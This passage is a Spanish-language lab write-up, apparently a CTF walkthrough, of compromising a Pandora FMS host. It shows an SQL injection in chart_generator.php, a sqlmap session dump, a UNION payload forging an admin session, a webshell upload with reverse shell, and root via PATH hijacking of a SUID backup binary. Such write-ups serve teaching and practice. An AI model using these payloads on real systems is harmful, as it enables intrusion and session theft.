&lt;p&gt;Probamos el endpoint vulnerable para confirmar la inyección:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;curl -sG
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;localhost&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;80&lt;/span&gt;/pandora_console/include/chart_generator.php
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; --data-urlencode &lt;span style="color:#e6db74"&gt;&amp;#34;session_id=&amp;#39;&amp;#34;&lt;/span&gt; | head &lt;span style="color:#ae81ff"&gt;-1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Identificamos que es una &lt;strong&gt;SQLi error-based&lt;/strong&gt; en una consulta del estilo:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-sql" data-lang="sql"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;SELECT&lt;/span&gt; &lt;span style="color:#f92672"&gt;*&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;FROM&lt;/span&gt; tsessions_php &lt;span style="color:#66d9ef"&gt;WHERE&lt;/span&gt; &lt;span style="color:#f92672"&gt;`&lt;/span&gt;id_session&lt;span style="color:#f92672"&gt;`&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;$session_id&amp;#39;&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;LIMIT&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e8888fa-f353-80b4-9367-da3da557d777.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Determinar número de columnas&lt;/p&gt;
&lt;p&gt;Probando &lt;code&gt;UNION SELECT&lt;/code&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Con 1 y 2 columnas falla.&lt;/li&gt;
&lt;li&gt;Con 3 columnas devuelve HTML correctamente.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Conclusión: la tabla devuelve &lt;strong&gt;3 columnas&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Dumpeo con sqlmap&lt;/p&gt;
&lt;p&gt;Usamos &lt;code&gt;sqlmap&lt;/code&gt; para extraer contenido de &lt;code&gt;tsessions_php&lt;/code&gt; y encontramos una sesión de &lt;code&gt;matt&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e8888fa-f353-8069-bf6f-e5390d2999c4.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;g4e01qdgk36mfdh90hvcc54umq&lt;/span&gt; &lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;id_usuario&lt;/span&gt;&lt;span style="color:#f92672"&gt;|&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;s&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;4&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;matt&amp;#34;&lt;/span&gt;;&lt;span style="color:#a6e22e"&gt;alert_msg&lt;/span&gt;&lt;span style="color:#f92672"&gt;|&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;a&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt;{}&lt;span style="color:#a6e22e"&gt;new_chat&lt;/span&gt;&lt;span style="color:#f92672"&gt;|&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;b&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;; &lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1638796349&lt;/span&gt; &lt;span style="color:#f92672"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Con esa sesión obtenemos acceso al panel como &lt;code&gt;matt&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e8888fa-f353-8073-b667-fc11ce39992d.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="escalada-a-admin-secuestro-de-sesión"&gt;Escalada a admin (secuestro de sesión)&lt;/h3&gt;
&lt;p&gt;Como &lt;code&gt;matt&lt;/code&gt; no tenemos permisos de admin (no podemos subir ficheros). La solución es forzar una sesión de admin inyectando el contenido del campo &lt;code&gt;data&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-plain" data-lang="plain"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;session_id=&amp;#39; union select 1,2,&amp;#39;id_usuario|s:5:&amp;#34;admin&amp;#34;;&amp;#39;-- -
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Esto nos devuelve un &lt;code&gt;id_session&lt;/code&gt; válido para &lt;strong&gt;admin&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e8888fa-f353-80b1-9136-d933ed89e7c6.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="rce-subida-de-webshell"&gt;RCE: subida de webshell&lt;/h3&gt;
&lt;p&gt;Con sesión de admin subimos una &lt;code&gt;shell.php&lt;/code&gt;. En el sistema aparece en:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/var/www/pandora/pandora_console/images/shell.php
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Accedemos a la webshell y lanzamos reverse shell (en mi caso funcionó mejor con la de pentestmonkey).&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e8888fa-f353-8077-a821-e5a38a46835f.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e8888fa-f353-8098-87fd-e1cca529a643.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="escalada-a-root-path-hijacking-en-binario-suid"&gt;Escalada a root (PATH hijacking en binario SUID)&lt;/h3&gt;
&lt;p&gt;Enumeramos binarios SUID:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;find / -perm &lt;span style="color:#ae81ff"&gt;-4000&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;&amp;gt;/dev/null
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Destaca &lt;code&gt;/usr/bin/pandora_backup&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Al inspeccionar el binario se aprecia que invoca &lt;code&gt;tar&lt;/code&gt; &lt;strong&gt;sin ruta absoluta&lt;/strong&gt;. Esto permite &lt;strong&gt;PATH hijacking&lt;/strong&gt;: si controlamos &lt;code&gt;PATH&lt;/code&gt; y colocamos un ejecutable llamado &lt;code&gt;tar&lt;/code&gt; antes que el real, el binario SUID ejecutará nuestro payload como root.&lt;/p&gt;
&lt;p&gt;Ejecución&lt;/p&gt;
&lt;p&gt;Desde la reverse shell no funcionó de forma fiable, pero por SSH sí (tras preparar claves).&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e8888fa-f353-80db-837c-fbaf4797849e.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Una vez ajustado el &lt;code&gt;PATH&lt;/code&gt; y ejecutado &lt;code&gt;pandora_backup&lt;/code&gt;, obtenemos ejecución como &lt;strong&gt;root&lt;/strong&gt;.&lt;/p&gt;
&lt;hr&gt;</content><author>admin@synacklabs.github.io (SynAckLabs)</author></item></channel></rss>